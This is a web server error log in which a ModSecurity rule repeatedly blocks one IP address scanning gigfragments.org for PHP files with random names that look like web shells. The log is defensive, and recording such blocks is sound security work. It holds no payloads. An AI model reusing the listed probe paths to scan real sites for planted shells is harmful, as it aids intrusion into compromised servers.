[Sat Apr 11 03:38:09.658428 2026] [:error] [pid 21568:tid 21591] [client 4.219.9.127:19905] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wwdgl.php"] [unique_id "adlRoYiz5v_ljZxkpR8GjAAAARM"]
[Sat Apr 11 03:38:10.789504 2026] [:error] [pid 55451:tid 55475] [client 4.219.9.127:29053] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wwdgl.php"] [unique_id "adlRonApxuyB7yCS5RlatAAAANY"]
[Sat Apr 11 03:38:11.741551 2026] [:error] [pid 21706:tid 21725] [client 4.219.9.127:40859] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3akp.php"] [unique_id "adlRoyGQ1M5d8fQSsLEU-AAAABE"]
[Sat Apr 11 03:38:12.587347 2026] [:error] [pid 55451:tid 55471] [client 4.219.9.127:32770] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3akp.php"] [unique_id "adlRpHApxuyB7yCS5RlauwAAANI"]
[Sat Apr 11 03:38:13.532529 2026] [:error] [pid 55451:tid 55465] [client 4.219.9.127:19938] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3akp.php"] [unique_id "adlRpXApxuyB7yCS5RlawgAAAMw"]
[Sat Apr 11 03:38:14.278150 2026] [:error] [pid 21568:tid 21572] [client 4.219.9.127:34453] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3akp.php"] [unique_id "adlRpoiz5v_ljZxkpR8GmgAAAQA"]
[Sat Apr 11 03:38:16.094997 2026] [:error] [pid 21706:tid 21723] [client 4.219.9.127:40837] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HLA-dd.php"] [unique_id "adlRqCGQ1M5d8fQSsLEU_QAAAA8"]
[Sat Apr 11 03:38:17.465802 2026] [:error] [pid 21568:tid 21586] [client 4.219.9.127:34396] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HLA-dd.php"] [unique_id "adlRqYiz5v_ljZxkpR8GpwAAAQ4"]
[Sat Apr 11 03:38:18.185499 2026] [:error] [pid 21569:tid 21654] [client 4.219.9.127:34431] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HLA-dd.php"] [unique_id "adlRqnAvQTgvXJ6vHorH7QAAAIk"]
[Sat Apr 11 03:38:18.956147 2026] [:error] [pid 21569:tid 21659] [client 4.219.9.127:54854] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/HLA-dd.php"] [unique_id "adlRqnAvQTgvXJ6vHorH8QAAAI0"]
[Sat Apr 11 03:38:26.211902 2026] [:error] [pid 21706:tid 21727] [client 4.219.9.127:32827] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BhqKs28Cw94.php"] [unique_id "adlRsiGQ1M5d8fQSsLEVMQAAABM"]
[Sat Apr 11 03:38:27.096844 2026] [:error] [pid 21706:tid 21727] [client 4.219.9.127:6953] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BhqKs28Cw94.php"] [unique_id "adlRsyGQ1M5d8fQSsLEVOAAAABM"]
[Sat Apr 11 03:38:37.393039 2026] [:error] [pid 55451:tid 55468] [client 4.219.9.127:6927] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adlRvXApxuyB7yCS5Rla_gAAAM8"]
[Sat Apr 11 03:38:38.127339 2026] [:error] [pid 21568:tid 21591] [client 4.219.9.127:33734] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adlRvoiz5v_ljZxkpR8G2gAAARM"]
[Sat Apr 11 03:38:39.208765 2026] [:error] [pid 21706:tid 21727] [client 4.219.9.127:19923] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adlRvyGQ1M5d8fQSsLEVYwAAABM"]
[Sat Apr 11 03:38:41.069800 2026] [:error] [pid 21569:tid 21671] [client 4.219.9.127:7080] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adlRwXAvQTgvXJ6vHorIBQAAAJM"]
[Sat Apr 11 03:38:43.943146 2026] [:error] [pid 21568:tid 21580] [client 4.219.9.127:34374] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/161dfd072f.php"] [unique_id "adlRw4iz5v_ljZxkpR8G7QAAAQg"]
[Sat Apr 11 03:38:45.997405 2026] [:error] [pid 21570:tid 21690] [client 4.219.9.127:6951] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/161dfd072f.php"] [unique_id "adlRxTKs5t9xRSNL6cn77gAAAFA"]
[Sat Apr 11 03:38:47.124029 2026] [:error] [pid 55451:tid 55468] [client 4.219.9.127:19935] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/161dfd072f.php"] [unique_id "adlRx3ApxuyB7yCS5RlbFQAAAM8"]
[Sat Apr 11 03:38:48.560357 2026] [:error] [pid 55451:tid 55462] [client 4.219.9.127:6461] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/161dfd072f.php"] [unique_id "adlRyHApxuyB7yCS5RlbHwAAAMk"]
[Sat Apr 11 03:38:49.753062 2026] [:error] [pid 21706:tid 21716] [client 4.219.9.127:32797] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "adlRySGQ1M5d8fQSsLEVcAAAAAg"]
[Sat Apr 11 03:38:50.781975 2026] [:error] [pid 55451:tid 55472] [client 4.219.9.127:34398] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "adlRynApxuyB7yCS5RlbNAAAANM"]
[Sat Apr 11 03:38:51.648354 2026] [:error] [pid 21568:tid 21592] [client 4.219.9.127:34386] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "adlRy4iz5v_ljZxkpR8G-QAAARQ"]
[Sat Apr 11 03:38:53.127979 2026] [:error] [pid 21569:tid 21664] [client 4.219.9.127:7087] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws80.php"] [unique_id "adlRzXAvQTgvXJ6vHorIHAAAAJA"]
[Sat Apr 11 03:38:54.434556 2026] [:error] [pid 55451:tid 55459] [client 4.219.9.127:7040] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlRznApxuyB7yCS5RlbRgAAAMY"]
[Sat Apr 11 03:38:55.125431 2026] [:error] [pid 55451:tid 55455] [client 4.219.9.127:6429] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlRz3ApxuyB7yCS5RlbSgAAAMI"]
[Sat Apr 11 03:38:56.259253 2026] [:error] [pid 55451:tid 55467] [client 4.219.9.127:33747] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlR0HApxuyB7yCS5RlbTgAAAM4"]
[Sat Apr 11 03:38:57.784467 2026] [:error] [pid 21706:tid 21719] [client 4.219.9.127:34401] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ylzed0twj8l9drdbchc1oocfCdefault.php"] [unique_id "adlR0SGQ1M5d8fQSsLEVfQAAAAs"]
[Sat Apr 11 03:39:00.190571 2026] [:error] [pid 21569:tid 21669] [client 4.219.9.127:28112] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "adlR1HAvQTgvXJ6vHorIIQAAAJI"]
[Sat Apr 11 03:39:01.616860 2026] [:error] [pid 21706:tid 21717] [client 4.219.9.127:6914] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "adlR1SGQ1M5d8fQSsLEVlAAAAAk"]
[Sat Apr 11 03:39:02.763597 2026] [:error] [pid 55451:tid 55461] [client 4.219.9.127:29008] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "adlR1nApxuyB7yCS5RlbXgAAAMg"]
[Sat Apr 11 03:39:03.749702 2026] [:error] [pid 21706:tid 21730] [client 4.219.9.127:19945] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/RIP.php"] [unique_id "adlR1yGQ1M5d8fQSsLEVoAAAABY"]
[Sat Apr 11 03:39:04.938894 2026] [:error] [pid 55451:tid 55463] [client 4.219.9.127:6171] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "adlR2HApxuyB7yCS5RlbZQAAAMo"]
[Sat Apr 11 03:39:05.766988 2026] [:error] [pid 21706:tid 21713] [client 4.219.9.127:34369] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "adlR2SGQ1M5d8fQSsLEVqAAAAAU"]
[Sat Apr 11 03:39:09.190429 2026] [:error] [pid 55451:tid 55453] [client 4.219.9.127:29040] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "adlR3XApxuyB7yCS5RlbeAAAAMA"]
[Sat Apr 11 03:39:10.422902 2026] [:error] [pid 21569:tid 21659] [client 4.219.9.127:40878] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/no18.php"] [unique_id "adlR3nAvQTgvXJ6vHorIMAAAAI0"]
[Sat Apr 11 03:39:11.970072 2026] [:error] [pid 21569:tid 21650] [client 4.219.9.127:34420] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blqjs.php"] [unique_id "adlR33AvQTgvXJ6vHorINgAAAIU"]
[Sat Apr 11 03:39:13.210808 2026] [:error] [pid 21570:tid 21670] [client 4.219.9.127:19909] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blqjs.php"] [unique_id "adlR4TKs5t9xRSNL6cn8LgAAAEQ"]
[Sat Apr 11 03:39:14.399557 2026] [:error] [pid 21706:tid 21726] [client 4.219.9.127:35979] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blqjs.php"] [unique_id "adlR4iGQ1M5d8fQSsLEVvgAAABI"]
[Sat Apr 11 03:39:15.026899 2026] [:error] [pid 21706:tid 21712] [client 4.219.9.127:34462] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blqjs.php"] [unique_id "adlR4yGQ1M5d8fQSsLEVwAAAAAQ"]
[Sat Apr 11 03:39:15.761689 2026] [:error] [pid 55451:tid 55463] [client 4.219.9.127:6178] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sk25_1.php"] [unique_id "adlR43ApxuyB7yCS5RlbjAAAAMo"]
[Sat Apr 11 03:39:16.457542 2026] [:error] [pid 21568:tid 21594] [client 4.219.9.127:6174] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sk25_1.php"] [unique_id "adlR5Iiz5v_ljZxkpR8HHAAAARY"]
[Sat Apr 11 03:39:17.686439 2026] [:error] [pid 21706:tid 21726] [client 4.219.9.127:39794] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sk25_1.php"] [unique_id "adlR5SGQ1M5d8fQSsLEVzAAAABI"]
[Sat Apr 11 03:39:18.647516 2026] [:error] [pid 55451:tid 55464] [client 4.219.9.127:7090] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sk25_1.php"] [unique_id "adlR5nApxuyB7yCS5RlbkgAAAMs"]
[Sat Apr 11 03:39:19.364510 2026] [:error] [pid 21569:tid 21659] [client 4.219.9.127:28998] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "adlR53AvQTgvXJ6vHorIOgAAAI0"]
[Sat Apr 11 03:39:20.136665 2026] [:error] [pid 21706:tid 21729] [client 4.219.9.127:6198] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "adlR6CGQ1M5d8fQSsLEV1gAAABU"]
[Sat Apr 11 03:39:20.903814 2026] [:error] [pid 21570:tid 21687] [client 4.219.9.127:6955] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "adlR6DKs5t9xRSNL6cn8VwAAAE0"]
[Sat Apr 11 03:39:21.613780 2026] [:error] [pid 21706:tid 21718] [client 4.219.9.127:34429] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fetch.php"] [unique_id "adlR6SGQ1M5d8fQSsLEV2wAAAAo"]
[Sat Apr 11 03:39:22.487637 2026] [:error] [pid 55451:tid 55462] [client 4.219.9.127:34482] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlR6nApxuyB7yCS5RlbngAAAMk"]
[Sat Apr 11 03:39:23.666823 2026] [:error] [pid 21706:tid 21716] [client 4.219.9.127:40842] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlR6yGQ1M5d8fQSsLEV6gAAAAg"]
[Sat Apr 11 03:39:24.554266 2026] [:error] [pid 55451:tid 55476] [client 4.219.9.127:34447] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlR7HApxuyB7yCS5RlbowAAANc"]
[Sat Apr 11 03:39:25.211145 2026] [:error] [pid 21706:tid 21728] [client 4.219.9.127:6940] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "adlR7SGQ1M5d8fQSsLEV8wAAABQ"]
[Sat Apr 11 03:39:25.885275 2026] [:error] [pid 55451:tid 55462] [client 4.219.9.127:6147] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2nzyHnOkEg.php"] [unique_id "adlR7XApxuyB7yCS5RlbpwAAAMk"]
[Sat Apr 11 03:39:26.511043 2026] [:error] [pid 21569:tid 21671] [client 4.219.9.127:33786] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2nzyHnOkEg.php"] [unique_id "adlR7nAvQTgvXJ6vHorISAAAAJM"]
[Sat Apr 11 03:39:27.720619 2026] [:error] [pid 21569:tid 21678] [client 4.219.9.127:54887] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2nzyHnOkEg.php"] [unique_id "adlR73AvQTgvXJ6vHorITAAAAJY"]
[Sat Apr 11 03:39:28.469753 2026] [:error] [pid 21568:tid 21579] [client 4.219.9.127:54888] [client 4.219.9.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/2nzyHnOkEg.php"] [unique_id "adlR8Iiz5v_ljZxkpR8HMQAAAQc"]
